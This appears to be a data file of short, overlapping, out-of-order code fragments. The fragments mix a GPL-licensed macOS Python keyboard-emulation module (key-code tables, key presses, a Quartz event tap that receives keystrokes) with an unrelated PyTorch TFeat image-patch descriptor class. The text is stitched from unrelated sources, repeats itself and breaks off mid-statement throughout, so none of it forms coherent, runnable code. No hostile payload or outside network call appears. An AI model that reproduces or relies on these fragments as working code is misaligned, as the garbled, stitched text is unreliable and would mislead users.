"'.': 0x2f, '`': 0x32, ' ': 0x31, '\\r': 0x24, '\\t': 0x30, '\\n': 0x24,",
"program is distributed in the hope that it will be useful, #but WITHOUT",
"#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the #GNU General Public License",
"it will be useful, #but WITHOUT ANY WARRANTY; without even the implied warranty",
"see <http://www.gnu.org/licenses/>. import time import Quartz from AppKit import NSEvent from .base import",
"0x28, ';': 0x29, '\\\\': 0x2a, ',': 0x2b, '/': 0x2c, 'n': 0x2d, 'm': 0x2e,",
"ctx 8, # subtype (key_code << 16) | ((0xa if down else 0xb)",
"keys. Source: http://stackoverflow.com/questions/11045814/emulate-media-key-press-on-mac \"\"\" key_code = special_key_translate_table[key] ev = NSEvent.otherEventWithType_location_modifierFlags_timestamp_windowNumber_context_subtype_data1_data2_( NSSystemDefined, # type",
"self.modifier_table = {'Shift':False,'Command':False,'Control':False,'Alternate':False} def press_key(self, key): if key.title() in self.modifier_table: self.modifier_table.update({key.title():True}) if key",
"key.title() in self.modifier_table: self.modifier_table.update({key.title():False}) if key in special_key_translate_table: self._press_special_key(key, False) else: self._press_normal_key(key, False)",
"',': 0x2b, '/': 0x2c, 'n': 0x2d, 'm': 0x2e, '.': 0x2f, '`': 0x32, '",
"# #This program is distributed in the hope that it will be useful,",
"0x3C, 'rightoption' : 0x3D, 'rightcontrol' : 0x3E, 'function' : 0x3F, } # Taken",
"modify #it under the terms of the GNU General Public License as published",
"special_key_translate_table = { 'KEYTYPE_SOUND_UP': 0, 'KEYTYPE_SOUND_DOWN': 1, 'KEYTYPE_BRIGHTNESS_UP': 2, 'KEYTYPE_BRIGHTNESS_DOWN': 3, 'KEYTYPE_CAPS_LOCK': 4,",
"0x3F, } # Taken from ev_keymap.h # http://www.opensource.apple.com/source/IOHIDFamily/IOHIDFamily-86.1/IOHIDSystem/IOKit/hidsystem/ev_keymap.h special_key_translate_table = { 'KEYTYPE_SOUND_UP': 0,",
"if key.title() in self.modifier_table: self.modifier_table.update({key.title():False}) if key in special_key_translate_table: self._press_special_key(key, False) else: self._press_normal_key(key,",
"0x30, '\\n': 0x24, 'return' : 0x24, 'tab' : 0x30, 'space' : 0x31, 'delete'",
"# data1 -1 # data2 ) Quartz.CGEventPost(0, ev.Quartz.CGEvent()) class PyKeyboardEvent(PyKeyboardEventMeta): def run(self): tap",
"#it under the terms of the GNU General Public License as published by",
"useful, #but WITHOUT ANY WARRANTY; without even the implied warranty of #MERCHANTABILITY or",
"0x2b, '/': 0x2c, 'n': 0x2d, 'm': 0x2e, '.': 0x2f, '`': 0x32, ' ':",
"'\\n': 0x24, 'return' : 0x24, 'tab' : 0x30, 'space' : 0x31, 'delete' :",
".base import PyKeyboardMeta, PyKeyboardEventMeta # Taken from events.h # /System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/Headers/Events.h character_translate_table = {",
"if len(mkeyStr)>1: mkeyStr = mkeyStr+' ^ ' mkeyStr = mkeyStr+'Quartz.kCGEventFlagMask'+mkey if len(mkeyStr)>1: eval('Quartz.CGEventSetFlags(event,",
"{'Shift':False,'Command':False,'Control':False,'Alternate':False} def press_key(self, key): if key.title() in self.modifier_table: self.modifier_table.update({key.title():True}) if key in special_key_translate_table:",
"for more details. # #You should have received a copy of the GNU",
": 0x3A, 'control' : 0x3B, 'rightshift' : 0x3C, 'rightoption' : 0x3D, 'rightcontrol' :",
"self.media_next_track_key = 'KEYTYPE_NEXT' # self.media_prev_track_key = 'KEYTYPE_PREVIOUS' def _press_normal_key(self, key, down): try: key_code",
"try: key_code = character_translate_table[key.lower()] # kCGEventFlagMaskAlternate | kCGEventFlagMaskCommand | kCGEventFlagMaskControl | kCGEventFlagMaskShift event",
"#This program is distributed in the hope that it will be useful, #but",
"General Public License as published by #the Free Software Foundation, either version 3",
"the GNU General Public License as published by #the Free Software Foundation, either",
"'/': 0x2c, 'n': 0x2d, 'm': 0x2e, '.': 0x2f, '`': 0x32, ' ': 0x31,",
"0x3E, 'function' : 0x3F, } # Taken from ev_keymap.h # http://www.opensource.apple.com/source/IOHIDFamily/IOHIDFamily-86.1/IOHIDSystem/IOKit/hidsystem/ev_keymap.h special_key_translate_table =",
"def release_key(self, key): # remove the key if key.title() in self.modifier_table: self.modifier_table.update({key.title():False}) if",
"ev = NSEvent.otherEventWithType_location_modifierFlags_timestamp_windowNumber_context_subtype_data1_data2_( NSSystemDefined, # type (0,0), # location 0xa00 if down else",
"Quartz.CGEventMaskBit(Quartz.kCGEventKeyUp), self.handler, None) loopsource = Quartz.CFMachPortCreateRunLoopSource(None, tap, 0) loop = Quartz.CFRunLoopGetCurrent() Quartz.CFRunLoopAddSource(loop, loopsource,",
"'[': 0x21, 'i': 0x22, 'p': 0x23, 'l': 0x25, 'j': 0x26, '\\'': 0x27, 'k':",
"' mkeyStr = mkeyStr+'Quartz.kCGEventFlagMask'+mkey if len(mkeyStr)>1: eval('Quartz.CGEventSetFlags(event, '+mkeyStr+')') Quartz.CGEventPost(Quartz.kCGHIDEventTap, event) if key.lower() ==",
"License for more details. # #You should have received a copy of the",
"free software: you can redistribute it and/or modify #it under the terms of",
"= Quartz.CFMachPortCreateRunLoopSource(None, tap, 0) loop = Quartz.CFRunLoopGetCurrent() Quartz.CFRunLoopAddSource(loop, loopsource, Quartz.kCFRunLoopDefaultMode) Quartz.CGEventTapEnable(tap, True) while",
"0x39, 'option' : 0x3A, 'alternate' : 0x3A, 'control' : 0x3B, 'rightshift' : 0x3C,",
"that it will be useful, #but WITHOUT ANY WARRANTY; without even the implied",
"if down else 0xb) << 8), # data1 -1 # data2 ) Quartz.CGEventPost(0,",
"((0xa if down else 0xb) << 8), # data1 -1 # data2 )",
"location 0xa00 if down else 0xb00, # flags 0, # timestamp 0, #",
"timestamp 0, # window 0, # ctx 8, # subtype (key_code << 16)",
"5, False) def handler(self, proxy, type, event, refcon): key = Quartz.CGEventGetIntegerValueField(event, Quartz.kCGKeyboardEventKeycode) if",
"warranty of #MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the #GNU General",
"True) else: self._press_normal_key(key, True) def release_key(self, key): # remove the key if key.title()",
"more details. # #You should have received a copy of the GNU General",
"or FITNESS FOR A PARTICULAR PURPOSE. See the #GNU General Public License for",
"0x30, 'space' : 0x31, 'delete' : 0x33, 'escape' : 0x35, 'command' : 0x37,",
"type, event, refcon): key = Quartz.CGEventGetIntegerValueField(event, Quartz.kCGKeyboardEventKeycode) if type == Quartz.kCGEventKeyDown: self.key_press(key) elif",
"len(mkeyStr)>1: eval('Quartz.CGEventSetFlags(event, '+mkeyStr+')') Quartz.CGEventPost(Quartz.kCGHIDEventTap, event) if key.lower() == \"shift\": time.sleep(.1) except KeyError: raise",
"= 'KEYTYPE_SOUND_UP' self.media_play_pause_key = 'KEYTYPE_PLAY' # Doesn't work :( # self.media_next_track_key = 'KEYTYPE_NEXT'",
"GNU General Public License as published by #the Free Software Foundation, either version",
"# Taken from events.h # /System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/Headers/Events.h character_translate_table = { 'a': 0x00, 's': 0x01,",
"0x2a, ',': 0x2b, '/': 0x2c, 'n': 0x2d, 'm': 0x2e, '.': 0x2f, '`': 0x32,",
"== \"shift\": time.sleep(.1) except KeyError: raise RuntimeError(\"Key {} not implemented.\".format(key)) def _press_special_key(self, key,",
"self.volume_mute_key = 'KEYTYPE_MUTE' self.volume_down_key = 'KEYTYPE_SOUND_DOWN' self.volume_up_key = 'KEYTYPE_SOUND_UP' self.media_play_pause_key = 'KEYTYPE_PLAY' #",
"0x0f, 'y': 0x10, 't': 0x11, '1': 0x12, '2': 0x13, '3': 0x14, '4': 0x15,",
"#along with this program. If not, see <http://www.gnu.org/licenses/>. import time import Quartz from",
"'u': 0x20, '[': 0x21, 'i': 0x22, 'p': 0x23, 'l': 0x25, 'j': 0x26, '\\'':",
"0x13, '3': 0x14, '4': 0x15, '6': 0x16, '5': 0x17, '=': 0x18, '9': 0x19,",
"'control' : 0x3B, 'rightshift' : 0x3C, 'rightoption' : 0x3D, 'rightcontrol' : 0x3E, 'function'",
"the License, or #(at your option) any later version. # #This program is",
"'3': 0x14, '4': 0x15, '6': 0x16, '5': 0x17, '=': 0x18, '9': 0x19, '7':",
"0x29, '\\\\': 0x2a, ',': 0x2b, '/': 0x2c, 'n': 0x2d, 'm': 0x2e, '.': 0x2f,",
"under the terms of the GNU General Public License as published by #the",
"'KEYTYPE_BRIGHTNESS_UP': 2, 'KEYTYPE_BRIGHTNESS_DOWN': 3, 'KEYTYPE_CAPS_LOCK': 4, 'KEYTYPE_HELP': 5, 'POWER_KEY': 6, 'KEYTYPE_MUTE': 7, 'UP_ARROW_KEY':",
"mkeyStr+'Quartz.kCGEventFlagMask'+mkey if len(mkeyStr)>1: eval('Quartz.CGEventSetFlags(event, '+mkeyStr+')') Quartz.CGEventPost(Quartz.kCGHIDEventTap, event) if key.lower() == \"shift\": time.sleep(.1) except",
"16) | ((0xa if down else 0xb) << 8), # data1 -1 #",
"\"shift\": time.sleep(.1) except KeyError: raise RuntimeError(\"Key {} not implemented.\".format(key)) def _press_special_key(self, key, down):",
"6, 'KEYTYPE_MUTE': 7, 'UP_ARROW_KEY': 8, 'DOWN_ARROW_KEY': 9, 'KEYTYPE_NUM_LOCK': 10, 'KEYTYPE_CONTRAST_UP': 11, 'KEYTYPE_CONTRAST_DOWN': 12,",
"'KEYTYPE_EJECT': 14, 'KEYTYPE_VIDMIRROR': 15, 'KEYTYPE_PLAY': 16, 'KEYTYPE_NEXT': 17, 'KEYTYPE_PREVIOUS': 18, 'KEYTYPE_FAST': 19, 'KEYTYPE_REWIND':",
"# Doesn't work :( # self.media_next_track_key = 'KEYTYPE_NEXT' # self.media_prev_track_key = 'KEYTYPE_PREVIOUS' def",
"0x22, 'p': 0x23, 'l': 0x25, 'j': 0x26, '\\'': 0x27, 'k': 0x28, ';': 0x29,",
"'KEYTYPE_NEXT' # self.media_prev_track_key = 'KEYTYPE_PREVIOUS' def _press_normal_key(self, key, down): try: key_code = character_translate_table[key.lower()]",
"{ 'KEYTYPE_SOUND_UP': 0, 'KEYTYPE_SOUND_DOWN': 1, 'KEYTYPE_BRIGHTNESS_UP': 2, 'KEYTYPE_BRIGHTNESS_DOWN': 3, 'KEYTYPE_CAPS_LOCK': 4, 'KEYTYPE_HELP': 5,",
"mkeyStr = '' for mkey in self.modifier_table: if self.modifier_table[mkey]: if len(mkeyStr)>1: mkeyStr =",
"event) if key.lower() == \"shift\": time.sleep(.1) except KeyError: raise RuntimeError(\"Key {} not implemented.\".format(key))",
"in self.modifier_table: self.modifier_table.update({key.title():False}) if key in special_key_translate_table: self._press_special_key(key, False) else: self._press_normal_key(key, False) def",
"'g': 0x05, 'z': 0x06, 'x': 0x07, 'c': 0x08, 'v': 0x09, 'b': 0x0b, 'q':",
"0x05, 'z': 0x06, 'x': 0x07, 'c': 0x08, 'v': 0x09, 'b': 0x0b, 'q': 0x0c,",
"the #GNU General Public License for more details. # #You should have received",
"'=': 0x18, '9': 0x19, '7': 0x1a, '-': 0x1b, '8': 0x1c, '0': 0x1d, ']':",
"0x26, '\\'': 0x27, 'k': 0x28, ';': 0x29, '\\\\': 0x2a, ',': 0x2b, '/': 0x2c,",
"from .base import PyKeyboardMeta, PyKeyboardEventMeta # Taken from events.h # /System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/Headers/Events.h character_translate_table =",
"0xa00 if down else 0xb00, # flags 0, # timestamp 0, # window",
"in self.modifier_table: if self.modifier_table[mkey]: if len(mkeyStr)>1: mkeyStr = mkeyStr+' ^ ' mkeyStr =",
"import Quartz from AppKit import NSEvent from .base import PyKeyboardMeta, PyKeyboardEventMeta # Taken",
"special_key_translate_table[key] ev = NSEvent.otherEventWithType_location_modifierFlags_timestamp_windowNumber_context_subtype_data1_data2_( NSSystemDefined, # type (0,0), # location 0xa00 if down",
"ev.Quartz.CGEvent()) class PyKeyboardEvent(PyKeyboardEventMeta): def run(self): tap = Quartz.CGEventTapCreate( Quartz.kCGSessionEventTap, Quartz.kCGHeadInsertEventTap, Quartz.kCGEventTapOptionDefault, Quartz.CGEventMaskBit(Quartz.kCGEventKeyDown) |",
"0x06, 'x': 0x07, 'c': 0x08, 'v': 0x09, 'b': 0x0b, 'q': 0x0c, 'w': 0x0d,",
"def _press_special_key(self, key, down): \"\"\" Helper method for special keys. Source: http://stackoverflow.com/questions/11045814/emulate-media-key-press-on-mac \"\"\"",
"0x24, 'tab' : 0x30, 'space' : 0x31, 'delete' : 0x33, 'escape' : 0x35,",
"'KEYTYPE_MUTE' self.volume_down_key = 'KEYTYPE_SOUND_DOWN' self.volume_up_key = 'KEYTYPE_SOUND_UP' self.media_play_pause_key = 'KEYTYPE_PLAY' # Doesn't work",
"Quartz.kCGHeadInsertEventTap, Quartz.kCGEventTapOptionDefault, Quartz.CGEventMaskBit(Quartz.kCGEventKeyDown) | Quartz.CGEventMaskBit(Quartz.kCGEventKeyUp), self.handler, None) loopsource = Quartz.CFMachPortCreateRunLoopSource(None, tap, 0) loop",
"down else 0xb) << 8), # data1 -1 # data2 ) Quartz.CGEventPost(0, ev.Quartz.CGEvent())",
"'\\t': 0x30, '\\n': 0x24, 'return' : 0x24, 'tab' : 0x30, 'space' : 0x31,",
"0x24, '\\t': 0x30, '\\n': 0x24, 'return' : 0x24, 'tab' : 0x30, 'space' :",
"0x02, 'f': 0x03, 'h': 0x04, 'g': 0x05, 'z': 0x06, 'x': 0x07, 'c': 0x08,",
"Source: http://stackoverflow.com/questions/11045814/emulate-media-key-press-on-mac \"\"\" key_code = special_key_translate_table[key] ev = NSEvent.otherEventWithType_location_modifierFlags_timestamp_windowNumber_context_subtype_data1_data2_( NSSystemDefined, # type (0,0),",
"= mkeyStr+'Quartz.kCGEventFlagMask'+mkey if len(mkeyStr)>1: eval('Quartz.CGEventSetFlags(event, '+mkeyStr+')') Quartz.CGEventPost(Quartz.kCGHIDEventTap, event) if key.lower() == \"shift\": time.sleep(.1)",
"General Public License #along with this program. If not, see <http://www.gnu.org/licenses/>. import time",
"23 } class PyKeyboard(PyKeyboardMeta): def __init__(self): self.shift_key = 'shift' self.modifier_table = {'Shift':False,'Command':False,'Control':False,'Alternate':False} def",
"# #You should have received a copy of the GNU General Public License",
"= Quartz.CGEventGetIntegerValueField(event, Quartz.kCGKeyboardEventKeycode) if type == Quartz.kCGEventKeyDown: self.key_press(key) elif type == Quartz.kCGEventKeyUp: self.key_release(key)",
"Taken from events.h # /System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/Headers/Events.h character_translate_table = { 'a': 0x00, 's': 0x01, 'd':"
] |
[
"__init__(self, pretrained_model='tfeat_misc/tfeat-liberty.params'): super( tfeat, self).__init__( name='tfeat', is_detector=False, is_descriptor=True, is_both=False, patch_input=True, can_batch=True) self.model =",
"batch_resized.append(cv2.resize(batch[i], (32, 32), interpolation=cv2.INTER_AREA)) batch_resized = torch.tensor(batch_resized) batch_resized = batch_resized.view(nb_patches,1,32,32) desc = self.model(batch_resized.float())",
"self.model.eval() def extract_descriptors_from_patch_batch(self, batch): nb_patches = batch.shape[0] batch_resized = list() for i, patch",
"as np import cv2 from features.DetectorDescriptorTemplate import DetectorAndDescriptor import features.feature_utils as utils dirname",
"32), interpolation=cv2.INTER_AREA)) batch_resized = torch.tensor(batch_resized) batch_resized = batch_resized.view(nb_patches,1,32,32) desc = self.model(batch_resized.float()) return desc.detach().numpy()",
"features.DetectorDescriptorTemplate import DetectorAndDescriptor import features.feature_utils as utils dirname = os.path.dirname(__file__) class tfeat(DetectorAndDescriptor): def",
"desc.detach().numpy() def extract_descriptor(self, image, feature): gray_image = utils.all_to_gray(image) patches = [] for f",
"nn.Tanh() ) self.descr = nn.Sequential( nn.Linear(64 * 8 * 8, 128), nn.Tanh() )",
"128), nn.Tanh() ) def forward(self, x): x = self.features(x) x = x.view(x.size(0), -1)",
"= utils.extract_patch(gray_image, f, patch_sz=32) patches.append(patch) patches = np.array(patches) desc = self.extract_descriptors_from_patch_batch(patches) return desc",
"gray_image = utils.all_to_gray(image) patches = [] for f in feature: patch = utils.extract_patch(gray_image,",
"affine=False), nn.Conv2d(1, 32, kernel_size=7), nn.Tanh(), nn.MaxPool2d(kernel_size=2, stride=2), nn.Conv2d(32, 64, kernel_size=6), nn.Tanh() ) self.descr",
"= utils.all_to_gray(image) patches = [] for f in feature: patch = utils.extract_patch(gray_image, f,",
"for i, patch in enumerate(batch): batch_resized.append(cv2.resize(batch[i], (32, 32), interpolation=cv2.INTER_AREA)) batch_resized = torch.tensor(batch_resized) batch_resized",
"pretrained_model=None): super(TNet, self).__init__() self.features = nn.Sequential( nn.InstanceNorm2d(1, affine=False), nn.Conv2d(1, 32, kernel_size=7), nn.Tanh(), nn.MaxPool2d(kernel_size=2,",
"tfeat(DetectorAndDescriptor): def __init__(self, pretrained_model='tfeat_misc/tfeat-liberty.params'): super( tfeat, self).__init__( name='tfeat', is_detector=False, is_descriptor=True, is_both=False, patch_input=True, can_batch=True)",
"return desc.detach().numpy() def extract_descriptor(self, image, feature): gray_image = utils.all_to_gray(image) patches = [] for",
"from torch import nn import torch.nn.functional as F import numpy as np import",
"nn.Conv2d(1, 32, kernel_size=7), nn.Tanh(), nn.MaxPool2d(kernel_size=2, stride=2), nn.Conv2d(32, 64, kernel_size=6), nn.Tanh() ) self.descr =",
"np.array(patches) desc = self.extract_descriptors_from_patch_batch(patches) return desc class TNet(nn.Module): \"\"\"TFeat model definition \"\"\" def",
"self.extract_descriptors_from_patch_batch(patches) return desc class TNet(nn.Module): \"\"\"TFeat model definition \"\"\" def __init__(self, pretrained_model=None): super(TNet,",
"= os.path.join(dirname, pretrained_model) self.model.load_state_dict(torch.load(pretrained_model, map_location='cpu')) self.model.eval() def extract_descriptors_from_patch_batch(self, batch): nb_patches = batch.shape[0] batch_resized",
"nn.Conv2d(32, 64, kernel_size=6), nn.Tanh() ) self.descr = nn.Sequential( nn.Linear(64 * 8 * 8,",
"in feature: patch = utils.extract_patch(gray_image, f, patch_sz=32) patches.append(patch) patches = np.array(patches) desc =",
"as F import numpy as np import cv2 from features.DetectorDescriptorTemplate import DetectorAndDescriptor import",
"os.path.join(dirname, pretrained_model) self.model.load_state_dict(torch.load(pretrained_model, map_location='cpu')) self.model.eval() def extract_descriptors_from_patch_batch(self, batch): nb_patches = batch.shape[0] batch_resized =",
"def extract_descriptors_from_patch_batch(self, batch): nb_patches = batch.shape[0] batch_resized = list() for i, patch in",
"is_both=False, patch_input=True, can_batch=True) self.model = TNet() pretrained_model = os.path.join(dirname, pretrained_model) self.model.load_state_dict(torch.load(pretrained_model, map_location='cpu')) self.model.eval()",
"Implementation Author: <NAME> \"\"\" import sys import os import torch from torch import",
"<gh_stars>1-10 \"\"\" TFeat Implementation Author: <NAME> \"\"\" import sys import os import torch",
"super( tfeat, self).__init__( name='tfeat', is_detector=False, is_descriptor=True, is_both=False, patch_input=True, can_batch=True) self.model = TNet() pretrained_model",
"self.model = TNet() pretrained_model = os.path.join(dirname, pretrained_model) self.model.load_state_dict(torch.load(pretrained_model, map_location='cpu')) self.model.eval() def extract_descriptors_from_patch_batch(self, batch):",
"feature: patch = utils.extract_patch(gray_image, f, patch_sz=32) patches.append(patch) patches = np.array(patches) desc = self.extract_descriptors_from_patch_batch(patches)",
"\"\"\" TFeat Implementation Author: <NAME> \"\"\" import sys import os import torch from",
"utils.extract_patch(gray_image, f, patch_sz=32) patches.append(patch) patches = np.array(patches) desc = self.extract_descriptors_from_patch_batch(patches) return desc class",
"extract_descriptors_from_patch(self, patch): patch = cv2.resize(patch, (32, 32), interpolation=cv2.INTER_AREA) patch = torch.tensor(patch) patch =",
"pretrained_model) self.model.load_state_dict(torch.load(pretrained_model, map_location='cpu')) self.model.eval() def extract_descriptors_from_patch_batch(self, batch): nb_patches = batch.shape[0] batch_resized = list()",
"torch from torch import nn import torch.nn.functional as F import numpy as np",
"dirname = os.path.dirname(__file__) class tfeat(DetectorAndDescriptor): def __init__(self, pretrained_model='tfeat_misc/tfeat-liberty.params'): super( tfeat, self).__init__( name='tfeat', is_detector=False,",
"DetectorAndDescriptor import features.feature_utils as utils dirname = os.path.dirname(__file__) class tfeat(DetectorAndDescriptor): def __init__(self, pretrained_model='tfeat_misc/tfeat-liberty.params'):",
"patch_input=True, can_batch=True) self.model = TNet() pretrained_model = os.path.join(dirname, pretrained_model) self.model.load_state_dict(torch.load(pretrained_model, map_location='cpu')) self.model.eval() def",
"self).__init__( name='tfeat', is_detector=False, is_descriptor=True, is_both=False, patch_input=True, can_batch=True) self.model = TNet() pretrained_model = os.path.join(dirname,",
"stride=2), nn.Conv2d(32, 64, kernel_size=6), nn.Tanh() ) self.descr = nn.Sequential( nn.Linear(64 * 8 *",
"(32, 32), interpolation=cv2.INTER_AREA)) batch_resized = torch.tensor(batch_resized) batch_resized = batch_resized.view(nb_patches,1,32,32) desc = self.model(batch_resized.float()) return",
"= batch_resized.view(nb_patches,1,32,32) desc = self.model(batch_resized.float()) return desc.detach().numpy() def extract_descriptors_from_patch(self, patch): patch = cv2.resize(patch,",
"import sys import os import torch from torch import nn import torch.nn.functional as",
"<NAME> \"\"\" import sys import os import torch from torch import nn import",
"np import cv2 from features.DetectorDescriptorTemplate import DetectorAndDescriptor import features.feature_utils as utils dirname =",
"patch = utils.extract_patch(gray_image, f, patch_sz=32) patches.append(patch) patches = np.array(patches) desc = self.extract_descriptors_from_patch_batch(patches) return",
"torch.tensor(patch) patch = patch.view(1,1,32,32) desc = self.model(patch.float()) return desc.detach().numpy() def extract_descriptor(self, image, feature):",
"map_location='cpu')) self.model.eval() def extract_descriptors_from_patch_batch(self, batch): nb_patches = batch.shape[0] batch_resized = list() for i,",
"torch.tensor(batch_resized) batch_resized = batch_resized.view(nb_patches,1,32,32) desc = self.model(batch_resized.float()) return desc.detach().numpy() def extract_descriptors_from_patch(self, patch): patch",
"TNet() pretrained_model = os.path.join(dirname, pretrained_model) self.model.load_state_dict(torch.load(pretrained_model, map_location='cpu')) self.model.eval() def extract_descriptors_from_patch_batch(self, batch): nb_patches =",
"pretrained_model='tfeat_misc/tfeat-liberty.params'): super( tfeat, self).__init__( name='tfeat', is_detector=False, is_descriptor=True, is_both=False, patch_input=True, can_batch=True) self.model = TNet()",
"name='tfeat', is_detector=False, is_descriptor=True, is_both=False, patch_input=True, can_batch=True) self.model = TNet() pretrained_model = os.path.join(dirname, pretrained_model)",
"patch): patch = cv2.resize(patch, (32, 32), interpolation=cv2.INTER_AREA) patch = torch.tensor(patch) patch = patch.view(1,1,32,32)",
"= nn.Sequential( nn.Linear(64 * 8 * 8, 128), nn.Tanh() ) def forward(self, x):",
"32), interpolation=cv2.INTER_AREA) patch = torch.tensor(patch) patch = patch.view(1,1,32,32) desc = self.model(patch.float()) return desc.detach().numpy()",
"nn.Tanh(), nn.MaxPool2d(kernel_size=2, stride=2), nn.Conv2d(32, 64, kernel_size=6), nn.Tanh() ) self.descr = nn.Sequential( nn.Linear(64 *",
"64, kernel_size=6), nn.Tanh() ) self.descr = nn.Sequential( nn.Linear(64 * 8 * 8, 128),",
") self.descr = nn.Sequential( nn.Linear(64 * 8 * 8, 128), nn.Tanh() ) def",
"__init__(self, pretrained_model=None): super(TNet, self).__init__() self.features = nn.Sequential( nn.InstanceNorm2d(1, affine=False), nn.Conv2d(1, 32, kernel_size=7), nn.Tanh(),",
"batch_resized = torch.tensor(batch_resized) batch_resized = batch_resized.view(nb_patches,1,32,32) desc = self.model(batch_resized.float()) return desc.detach().numpy() def extract_descriptors_from_patch(self,",
"f, patch_sz=32) patches.append(patch) patches = np.array(patches) desc = self.extract_descriptors_from_patch_batch(patches) return desc class TNet(nn.Module):",
"= self.extract_descriptors_from_patch_batch(patches) return desc class TNet(nn.Module): \"\"\"TFeat model definition \"\"\" def __init__(self, pretrained_model=None):",
"= nn.Sequential( nn.InstanceNorm2d(1, affine=False), nn.Conv2d(1, 32, kernel_size=7), nn.Tanh(), nn.MaxPool2d(kernel_size=2, stride=2), nn.Conv2d(32, 64, kernel_size=6),",
"class tfeat(DetectorAndDescriptor): def __init__(self, pretrained_model='tfeat_misc/tfeat-liberty.params'): super( tfeat, self).__init__( name='tfeat', is_detector=False, is_descriptor=True, is_both=False, patch_input=True,",
"= [] for f in feature: patch = utils.extract_patch(gray_image, f, patch_sz=32) patches.append(patch) patches",
"patches.append(patch) patches = np.array(patches) desc = self.extract_descriptors_from_patch_batch(patches) return desc class TNet(nn.Module): \"\"\"TFeat model",
"extract_descriptors_from_patch_batch(self, batch): nb_patches = batch.shape[0] batch_resized = list() for i, patch in enumerate(batch):",
"patch = cv2.resize(patch, (32, 32), interpolation=cv2.INTER_AREA) patch = torch.tensor(patch) patch = patch.view(1,1,32,32) desc",
"definition \"\"\" def __init__(self, pretrained_model=None): super(TNet, self).__init__() self.features = nn.Sequential( nn.InstanceNorm2d(1, affine=False), nn.Conv2d(1,",
"* 8 * 8, 128), nn.Tanh() ) def forward(self, x): x = self.features(x)",
"batch_resized = batch_resized.view(nb_patches,1,32,32) desc = self.model(batch_resized.float()) return desc.detach().numpy() def extract_descriptors_from_patch(self, patch): patch =",
"for f in feature: patch = utils.extract_patch(gray_image, f, patch_sz=32) patches.append(patch) patches = np.array(patches)",
"i, patch in enumerate(batch): batch_resized.append(cv2.resize(batch[i], (32, 32), interpolation=cv2.INTER_AREA)) batch_resized = torch.tensor(batch_resized) batch_resized =",
"desc = self.model(batch_resized.float()) return desc.detach().numpy() def extract_descriptors_from_patch(self, patch): patch = cv2.resize(patch, (32, 32),",
"utils.all_to_gray(image) patches = [] for f in feature: patch = utils.extract_patch(gray_image, f, patch_sz=32)",
"torch.nn.functional as F import numpy as np import cv2 from features.DetectorDescriptorTemplate import DetectorAndDescriptor",
"list() for i, patch in enumerate(batch): batch_resized.append(cv2.resize(batch[i], (32, 32), interpolation=cv2.INTER_AREA)) batch_resized = torch.tensor(batch_resized)",
"import torch from torch import nn import torch.nn.functional as F import numpy as",
"feature): gray_image = utils.all_to_gray(image) patches = [] for f in feature: patch =",
"import numpy as np import cv2 from features.DetectorDescriptorTemplate import DetectorAndDescriptor import features.feature_utils as",
"numpy as np import cv2 from features.DetectorDescriptorTemplate import DetectorAndDescriptor import features.feature_utils as utils",
"in enumerate(batch): batch_resized.append(cv2.resize(batch[i], (32, 32), interpolation=cv2.INTER_AREA)) batch_resized = torch.tensor(batch_resized) batch_resized = batch_resized.view(nb_patches,1,32,32) desc",
"desc.detach().numpy() def extract_descriptors_from_patch(self, patch): patch = cv2.resize(patch, (32, 32), interpolation=cv2.INTER_AREA) patch = torch.tensor(patch)",
") def forward(self, x): x = self.features(x) x = x.view(x.size(0), -1) x =",
"def __init__(self, pretrained_model=None): super(TNet, self).__init__() self.features = nn.Sequential( nn.InstanceNorm2d(1, affine=False), nn.Conv2d(1, 32, kernel_size=7),",
"nn.Tanh() ) def forward(self, x): x = self.features(x) x = x.view(x.size(0), -1) x",
"import DetectorAndDescriptor import features.feature_utils as utils dirname = os.path.dirname(__file__) class tfeat(DetectorAndDescriptor): def __init__(self,",
"pretrained_model = os.path.join(dirname, pretrained_model) self.model.load_state_dict(torch.load(pretrained_model, map_location='cpu')) self.model.eval() def extract_descriptors_from_patch_batch(self, batch): nb_patches = batch.shape[0]",
"[] for f in feature: patch = utils.extract_patch(gray_image, f, patch_sz=32) patches.append(patch) patches =",
"Author: <NAME> \"\"\" import sys import os import torch from torch import nn",
"\"\"\" import sys import os import torch from torch import nn import torch.nn.functional",
"desc class TNet(nn.Module): \"\"\"TFeat model definition \"\"\" def __init__(self, pretrained_model=None): super(TNet, self).__init__() self.features",
"nn.MaxPool2d(kernel_size=2, stride=2), nn.Conv2d(32, 64, kernel_size=6), nn.Tanh() ) self.descr = nn.Sequential( nn.Linear(64 * 8",
"nb_patches = batch.shape[0] batch_resized = list() for i, patch in enumerate(batch): batch_resized.append(cv2.resize(batch[i], (32,",
"interpolation=cv2.INTER_AREA) patch = torch.tensor(patch) patch = patch.view(1,1,32,32) desc = self.model(patch.float()) return desc.detach().numpy() def",
"patch_sz=32) patches.append(patch) patches = np.array(patches) desc = self.extract_descriptors_from_patch_batch(patches) return desc class TNet(nn.Module): \"\"\"TFeat",
"F import numpy as np import cv2 from features.DetectorDescriptorTemplate import DetectorAndDescriptor import features.feature_utils",
"= list() for i, patch in enumerate(batch): batch_resized.append(cv2.resize(batch[i], (32, 32), interpolation=cv2.INTER_AREA)) batch_resized =",
"class TNet(nn.Module): \"\"\"TFeat model definition \"\"\" def __init__(self, pretrained_model=None): super(TNet, self).__init__() self.features =",
"8, 128), nn.Tanh() ) def forward(self, x): x = self.features(x) x = x.view(x.size(0),",
"TNet(nn.Module): \"\"\"TFeat model definition \"\"\" def __init__(self, pretrained_model=None): super(TNet, self).__init__() self.features = nn.Sequential(",
"TFeat Implementation Author: <NAME> \"\"\" import sys import os import torch from torch",
"super(TNet, self).__init__() self.features = nn.Sequential( nn.InstanceNorm2d(1, affine=False), nn.Conv2d(1, 32, kernel_size=7), nn.Tanh(), nn.MaxPool2d(kernel_size=2, stride=2),",
"features.feature_utils as utils dirname = os.path.dirname(__file__) class tfeat(DetectorAndDescriptor): def __init__(self, pretrained_model='tfeat_misc/tfeat-liberty.params'): super( tfeat,",
"= np.array(patches) desc = self.extract_descriptors_from_patch_batch(patches) return desc class TNet(nn.Module): \"\"\"TFeat model definition \"\"\"",
